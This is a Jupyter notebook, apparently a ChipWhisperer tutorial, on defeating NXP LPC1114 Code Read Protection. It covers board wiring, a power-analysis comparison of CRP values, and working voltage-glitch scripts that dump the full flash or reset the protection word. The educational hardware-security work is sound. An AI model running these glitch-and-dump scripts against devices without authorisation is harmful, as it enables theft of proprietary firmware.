{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Background on Code Read Protection\n",
    "\n",
    "To help protect proprietary code from being dumped via a bootloader or a debugging interface, many microcontrollers include some mechanism that locks down the flash and prevents reads. In the case of NXP's LPC1114, this is done by reading a value from flash during the boot sequence, with different values corresponding to different levels of protection. As is shown in the figure below, there are 4 levels of read protection, with the rest of the values representing an unlocked device. This makes this a great target for glitching, as corrupting one bit from this read will unlock the device and give us full access. Since higher CRP levels are harder (or in the case of CRP level 3, \"impossible\") to remove, we'll be using the device in CRP level 1.\n",
    "\n",
    "| Name    | Value in FLASH  | JTAG/SWD | Serial Bootloader (ISP) | Notes                                                                                |\n",
    "|---------|-----------------|----------|-------------------------|--------------------------------------------------------------------------------------|\n",
    "| NO_ISP  | 0x4E697370      | enabled  | disabled                |                                                                                      |\n",
    "| CRP1    | 0x12345678      | disabled | subset                  | Read memory disabled. Sector erase and mass erase possible (which also removes CRP). |\n",
    "| CRP2    | 0x87654321      | disabled | subset                  | Read memory disabled. Mass erase only (which also removes CRP).                      |\n",
    "| CRP3    | 0x43218765      | disabled | disabled                | Claimed impossible to recover from since no reprogramming interface.                 |\n",
    "| INVALID | Any other Value | enabled  | enabled                 |                                                                                      |\n",
    "\n",
    "This was first published by Chris Gerlinsky at RECON Brussels. You can [see his slides here](https://recon.cx/2017/brussels/resources/slides/RECON-BRX-2017-Breaking_CRP_on_NXP_LPC_Microcontrollers_slides.pdf) or watch his [presentation here](https://www.youtube.com/watch?v=98eqp4WmHoQ). It was [re-created by Dmitry Nedospasov on his blog](https://toothless.co/blog/bootloader-bypass-part1/), which has additional details and examples of how you can achieve this attack.\n",
    "\n",
    "We'll be recreating the attack with the ChipWhisperer, to show the value of this modular platform in quickly testing new attacks.\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Hardware Setup\n",
    "\n",
    "This tutorial requires some hardware setup. We will use a \"LPC-P1114\" development board, available from Mouser or Digikey.\n",
    "\n",
    "### ChipWhisperer-Lite (CW1173) with LPC-P1114 Development Board\n",
    "\n",
    "To allow the ChipWhisperer-Lite to interface with this board, we'll need to make some small modifications to the board:\n",
    "\n",
    "1. Short jumper BLD_E to put the device in bootloader mode.\n",
    "2. Solder a wire from GND to P0_3 (Second column from the left, fourth row from the bottom) to put the bootloader in UART mode.\n",
    "3. Remove C1 and C4 from the board.\n",
    "4. Cut the traces on 3.3V_CORE and 3.3V_IO_E.\n",
    "5. Add a 12-ohm resistor on the 3.3V_CORE jumper.\n",
    "6. Add an SMA connector to the board and connect Vcc to the center pin and GND to one of the outside pins (or just use a jumper instead of fancy SMA).\n",
    "7. Add a header pin/wire to RST (First column from the left, third row from the bottom). The CW-Lite needs two connection points, as we'll be both resetting this pin and triggering off of it.\n",
    "\n",
    "The following shows the required modifications:\n",
    "\n",
    "![Image show LPC-P1114 Modifications](img/A9_LPC1114_CHANGES.jpg)\n",
    "\n",
    "Next, we'll need to connect the CW-Lite to the connect pins on the dev board to pins on CW-Lite's 20 pin header:\n",
    "\n",
    "1. Connect pin 1 of UEXT (Vcc) to pin 3 on the CW-Lite\n",
    "2. Connect pin 2 of UEXT (GND) to pin 2 on the CW-Lite\n",
    "3. Connect pin 3 of UEXT (TXD) to pin 10 on the CW-Lite\n",
    "4. Connect pin 4 of UEXT (RXD) to pin 12 on the CW-Lite\n",
    "5. Connect RST (the 3 header pins soldered on) to pins 5 (nRST) and 16 (GPIO4) on the CW-Lite\n",
    "7. Finally, attach an SMA cable between the one you added to the board and the GLITCH connector on the CW-Lite. If you'd like instead you can also use a SMA Tee to do both measurement & glitch.\n",
    "\n",
    "![Image show LPC-P1114 Connections](img/A9_LPC_CWLITE_Conn.jpg)\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Exploration and Attack"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import sys\n",
    "import binascii\n",
    "\n",
    "import time\n",
    "import logging\n",
    "import os\n",
    "from collections import namedtuple\n",
    "import numpy as np\n",
    "import chipwhisperer as cw\n",
    "from tqdm.notebook import trange\n",
    "\n",
    "scope = cw.scope()\n",
    "target = cw.target(scope)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "# Original attack done with 100 MHz clock - can be helpful to run this\n",
    "# 2x faster to get better resolution, which seems useful for glitching certain boards.\n",
    "# But if you want to use DPA you need to leave this set to '1'\n",
    "freq_multiplier = 1\n",
    "\n",
    "#Initial Setup\n",
    "scope.adc.samples = 10000\n",
    "scope.adc.offset = 0\n",
    "scope.clock.adc_src = \"clkgen_x1\"\n",
    "scope.trigger.triggers = \"tio4\"\n",
    "scope.io.glitch_lp = True\n",
    "scope.io.hs2 = None"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if scope._is_husky:\n",
    "    scope.glitch.enabled = True\n",
    "\n",
    "# this value is for CW-Lite/Pro; for CW-Husky, refer to Fault 1_1\n",
    "scope.glitch.width = 40\n",
    "\n",
    "scope.io.tio1 = \"serial_rx\"\n",
    "scope.io.tio2 = \"serial_tx\"\n",
    "scope.adc.basic_mode = \"rising_edge\"\n",
    "scope.clock.clkgen_freq = 100000000 * freq_multiplier\n",
    "scope.glitch.clk_src = \"clkgen\"\n",
    "scope.glitch.trigger_src = \"ext_single\"\n",
    "scope.glitch.output = \"enable_only\"\n",
    "\n",
    "target.baud = 38400\n",
    "target.key_cmd = \"\"\n",
    "target.go_cmd = \"\"\n",
    "target.output_cmd = \"\""
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We need to talk to this device. Rather than implement our own protocol interface, we are going to be lazy. Luckily, an existing 'nxprog' module implements almost all the required commands. We can just connect ChipWhisperer's serial port to this module and get going: "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import external.nxpprog as nxpprog\n",
    "import time\n",
    "\n",
    "class CWDevice(nxpprog.NXPSerialDevice):\n",
    "    def __init__(self, scope, target, print_debug=False):\n",
    "        '''Add connection to ChipWhisperer'''\n",
    "        self.scope = scope\n",
    "        self.target = target\n",
    "        self.debug = print_debug\n",
    "        \n",
    "    def isp_mode(self):\n",
    "        '''Enter ISP Mode by reseting + pulling pin'''\n",
    "        self.scope.io.nrst = 'low'\n",
    "        time.sleep(0.01)\n",
    "        self.scope.io.nrst = 'high'\n",
    "        self.target.ser.flush()\n",
    "\n",
    "    def write(self, data):\n",
    "        '''Write data to serial port'''\n",
    "        if self.debug:\n",
    "            print(\"Write: \" + str(data))\n",
    "        self.target.ser.write(data)\n",
    "        time.sleep(0.05) #work-around for CW serial port buffer on TX problem\n",
    "\n",
    "    def readline(self, timeout=None):\n",
    "        '''Read line from serial port, trying for timeout seconds'''\n",
    "        if timeout is None:\n",
    "            timeout = 5000\n",
    "        else:\n",
    "            timeout = int(timeout * 1000)\n",
    "\n",
    "        line = ''\n",
    "        while True:\n",
    "            c = self.target.ser.read(1, timeout)\n",
    "            if not c:\n",
    "                break\n",
    "            if c[0] == '\\r':\n",
    "                if not line:\n",
    "                    continue\n",
    "                else:\n",
    "                    break\n",
    "            if c[0] == '\\n':\n",
    "                if not line:\n",
    "                    continue\n",
    "                else:\n",
    "                    break\n",
    "            line += c\n",
    "        \n",
    "        if self.debug:\n",
    "            print(\"Read: \" + str(line))\n",
    "        return line"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Let's get an idea what this looks like. We can for example connect to the device and check the serial number:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import time\n",
    "nxpdev = CWDevice(scope, target, print_debug=True)\n",
    "\n",
    "scope.io.target_pwr = False\n",
    "time.sleep(0.1)\n",
    "scope.io.target_pwr = True\n",
    "time.sleep(0.1)\n",
    "\n",
    "#Need to enter ISP mode before initializing programmer object\n",
    "nxpdev.isp_mode()\n",
    "nxpp = nxpprog.NXP_Programmer(\"lpc1114\", nxpdev, 12000)\n",
    "\n",
    "#Examples of stuff you can do:\n",
    "print(nxpp.get_serial_number())\n",
    "print(nxpp.read_block(0, 4))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## DPA on Fuse Bytes\n",
    "\n",
    "Assuming this all works, we have a few paths forward. If you don't have a locked device, you can perform a basic FF vs 00 DPA type attack! To do this, ensure you are connected to the *measure* input on your LPC1114 board. We'll then set the bytes to 0xFFFFFFF and 0x000000, to see where the bytes might be loaded.\n",
    "\n",
    "The first thing to do is to build a simple capture function:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pylab as plt\n",
    "\n",
    "\n",
    "\n",
    "scope.gain.gain = 30\n",
    "scope.gain.mode = \"high\"\n",
    "\n",
    "def set_crp(nxpp, value, image=None):\n",
    "    \"\"\"\n",
    "    Set CRP value - requires the first 4096 bytes of FLASH due to\n",
    "    page size!\n",
    "    \"\"\"\n",
    "    \n",
    "    if image is None:\n",
    "        f = open(r\"external/lpc1114_first4096.bin\", \"rb\")\n",
    "        image = f.read()\n",
    "        f.close()\n",
    "    \n",
    "    image = list(image)\n",
    "    image[0x2fc] = (value >> 0)  & 0xff\n",
    "    image[0x2fd] = (value >> 8)  & 0xff\n",
    "    image[0x2fe] = (value >> 16) & 0xff\n",
    "    image[0x2ff] = (value >> 24) & 0xff\n",
    "\n",
    "    print(\"Programming flash...\")\n",
    "    nxpp.prog_image(bytes(image), 0)\n",
    "    print(\"Done!\")\n",
    "\n",
    "\n",
    "def capture_crp(nxpdev, value, num_tries=1000, bypass_oserror=True):\n",
    "    \"\"\"\n",
    "    Capture an average power trace for a given CRP level.\n",
    "    \"\"\"\n",
    "    ref_list = []\n",
    "    nxpdev.isp_mode()\n",
    "    nxpp = nxpprog.NXP_Programmer(\"lpc1114\", nxpdev, 12000)    \n",
    "    try:\n",
    "        set_crp(nxpp, value)\n",
    "    except IOError as e:\n",
    "        print(\"IOError - assumed CRP enabled. Error: \" + str(e))\n",
    "    scope.io.target_pwr = False\n",
    "    time.sleep(0.2)\n",
    "    scope.io.target_pwr = True\n",
    "    time.sleep(0.2)\n",
    "\n",
    "    print(\"Performing DPA capture for %04x\"%value)\n",
    "    for i in range(0, num_tries):\n",
    "        scope.io.nrst = 'low'\n",
    "        scope.arm()\n",
    "        scope.io.nrst = 'high'\n",
    "\n",
    "        scope.capture()\n",
    "\n",
    "        ref_list.append(scope.get_last_trace())\n",
    "        \n",
    "    return np.mean(ref_list, axis=0) "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pylab as plt\n",
    "import numpy as np\n",
    "\n",
    "nxpdev = CWDevice(scope, target)\n",
    "\n",
    "trace_1s = capture_crp(nxpdev, 0xffffffff)\n",
    "trace_0s = capture_crp(nxpdev, 0)\n",
    "\n",
    "plt.plot(trace_1s - trace_0s)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "scrolled": true
   },
   "outputs": [],
   "source": [
    "%matplotlib notebook\n",
    "import matplotlib.pylab as plt\n",
    "import numpy as np\n",
    "\n",
    "nxpdev = CWDevice(scope, target)\n",
    "\n",
    "trace_unlocked = capture_crp(nxpdev, 0x02345688) #Wrong value - unlocked"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trace_locked = capture_crp(nxpdev, 0x12345678) #Same hamming weight - but locked\n",
    "plt.plot(trace_unlocked - trace_locked)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Glitching Fuse Bytes\n",
    "\n",
    "First, check that your device is locked. The following should result in an exception when you attemp to run read_block(), which is disallowed now:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "nxpdev = CWDevice(scope, target, print_debug=True)\n",
    "\n",
    "#Need to enter ISP mode before initializing programmer object\n",
    "nxpdev.isp_mode()\n",
    "nxpp = nxpprog.NXP_Programmer(\"lpc1114\", nxpdev, 12000)\n",
    "\n",
    "#Examples of stuff you can do:\n",
    "print(nxpp.get_serial_number())\n",
    "print(nxpp.read_block(0, 4))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Yikes! Let's move the cable to the **glitch** output on the ChipWhisperer, so we can do VCC glitching on the target. Now we'll scan a range that seems interesting - the following offset_range works in practice. You'll notice it doesn't exactly match up with the DPA results, which is something that requires more thought (we're not exactly sure on what the device is doing):"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "\n",
    "Range = namedtuple(\"Range\", [\"min\", \"max\", \"step\"])\n",
    "offset_range = Range(5180*freq_multiplier, 5185*freq_multiplier, 1)\n",
    "repeat_range = Range(7*freq_multiplier, 40*freq_multiplier, 1)\n",
    "\n",
    "scope.glitch.repeat = repeat_range.min"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "scrolled": true
   },
   "outputs": [],
   "source": [
    "import time\n",
    "from binascii import unhexlify\n",
    "\n",
    "print(\"Attempting to glitch LPC Target\")\n",
    "\n",
    "scope.io.target_pwr = False\n",
    "time.sleep(0.2)\n",
    "scope.io.target_pwr = True\n",
    "time.sleep(0.2)\n",
    "\n",
    "\n",
    "nxpdev = CWDevice(scope, target)\n",
    "\n",
    "done = False\n",
    "while done == False:\n",
    "    scope.glitch.ext_offset = offset_range.min\n",
    "    if scope.glitch.repeat >= repeat_range.max:\n",
    "        scope.glitch.repeat = repeat_range.min\n",
    "    while scope.glitch.ext_offset < offset_range.max:\n",
    "\n",
    "        scope.io.nrst = 'low'\n",
    "        time.sleep(0.05)\n",
    "        scope.arm()\n",
    "        scope.io.nrst = 'high'\n",
    "        target.ser.flush()\n",
    "        \n",
    "        print(\"Glitch offset %4d, width %d........\"%(scope.glitch.ext_offset, scope.glitch.repeat), end=\"\")\n",
    "\n",
    "        #scope.capture()\n",
    "        #plot.send(scope.get_last_trace())\n",
    "        \n",
    "        time.sleep(0.05)\n",
    "        try:\n",
    "            nxpp = nxpprog.NXP_Programmer(\"lpc1114\", nxpdev, 12000)\n",
    "\n",
    "            try:\n",
    "                data = nxpp.read_block(0, 4)\n",
    "                print(\"[SUCCESS]\\n\")\n",
    "                print(\"  Glitch OK! Beginning dump...\")\n",
    "                \n",
    "                datafile = None\n",
    "                \n",
    "                for i in range(0, 0x7FFF, 16):\n",
    "                    data = nxpp.read_block(i, 16)\n",
    "                    st = \" \".join([\"%02X\"%ord(b) for b in data])\n",
    "                    print(st)\n",
    "                    \n",
    "                    if datafile is None:\n",
    "                        datafile = data\n",
    "                    else:\n",
    "                        datafile += data\n",
    "                    \n",
    "                \n",
    "                with open(\"lpc1114_dump.bin\", \"wb\") as f:\n",
    "                    f.write(unhexlify(datafile))\n",
    "                with open(\"lpc1114_dump_ascii.bin\", \"wb\") as f:\n",
    "                    f.write(datafile.encode('latin-1'))    \n",
    "                \n",
    "                \n",
    "                done = True\n",
    "                break\n",
    "\n",
    "            except IOError:\n",
    "                print(\"[NORMAL]\")\n",
    "    \n",
    "        except IOError:\n",
    "            print(\"[FAILED]\")\n",
    "            pass\n",
    "    \n",
    "        scope.glitch.ext_offset += offset_range.step\n",
    "\n",
    "    scope.glitch.repeat += repeat_range.step"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "What if you just want to \"unlock\" the device? In which case you can modify the code to dump the first 4K (we need 4K since the bootloader erases 4K at a time). With the device unlocked, we can do an erase-program cycle with a modified CRP:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import time\n",
    "\n",
    "print(\"Attempting to glitch LPC Target\")\n",
    "\n",
    "scope.io.target_pwr = False\n",
    "time.sleep(0.2)\n",
    "scope.io.target_pwr = True\n",
    "time.sleep(0.2)\n",
    "\n",
    "nxpdev = CWDevice(scope, target)\n",
    "\n",
    "done = False\n",
    "while done == False:\n",
    "    scope.glitch.ext_offset = offset_range.min\n",
    "    if scope.glitch.repeat >= repeat_range.max:\n",
    "        scope.glitch.repeat = repeat_range.min\n",
    "    while scope.glitch.ext_offset < offset_range.max:\n",
    "\n",
    "        scope.io.nrst = 'low'\n",
    "        time.sleep(0.05)\n",
    "        scope.arm()\n",
    "        scope.io.nrst = 'high'\n",
    "        target.ser.flush()\n",
    "        \n",
    "        print(\"Glitch offset %4d, width %d........\"%(scope.glitch.ext_offset, scope.glitch.repeat), end=\"\")\n",
    "\n",
    "        time.sleep(0.05)\n",
    "        try:\n",
    "            nxpp = nxpprog.NXP_Programmer(\"lpc1114\", nxpdev, 12000)\n",
    "\n",
    "            try:\n",
    "                data = nxpp.read_block(0, 4)            \n",
    "                print(\"[SUCCESS]\\n\")\n",
    "                print(\"  Glitch OK! Reading first 4K...\")\n",
    "                block = None\n",
    "                #Deal with crappy ChipWhisperer serial buffer by splitting read up\n",
    "                for i in range(0, 4096, 32):\n",
    "                    if block is None:\n",
    "                        block = nxpp.read_block(i, 32)\n",
    "                    else:\n",
    "                        block += nxpp.read_block(i, 32)\n",
    "                \n",
    "                print(\"  Adjusting CRP...\")\n",
    "                block = [ord(t) for t in block]\n",
    "                set_crp(nxpp, 0, block)\n",
    "                done = True\n",
    "                break\n",
    "\n",
    "            except IOError:\n",
    "                print(\"[NORMAL]\")\n",
    "    \n",
    "        except IOError:\n",
    "            print(\"[FAILED]\")\n",
    "            pass\n",
    "    \n",
    "        scope.glitch.ext_offset += offset_range.step\n",
    "\n",
    "    scope.glitch.repeat += repeat_range.step"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.10.4"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
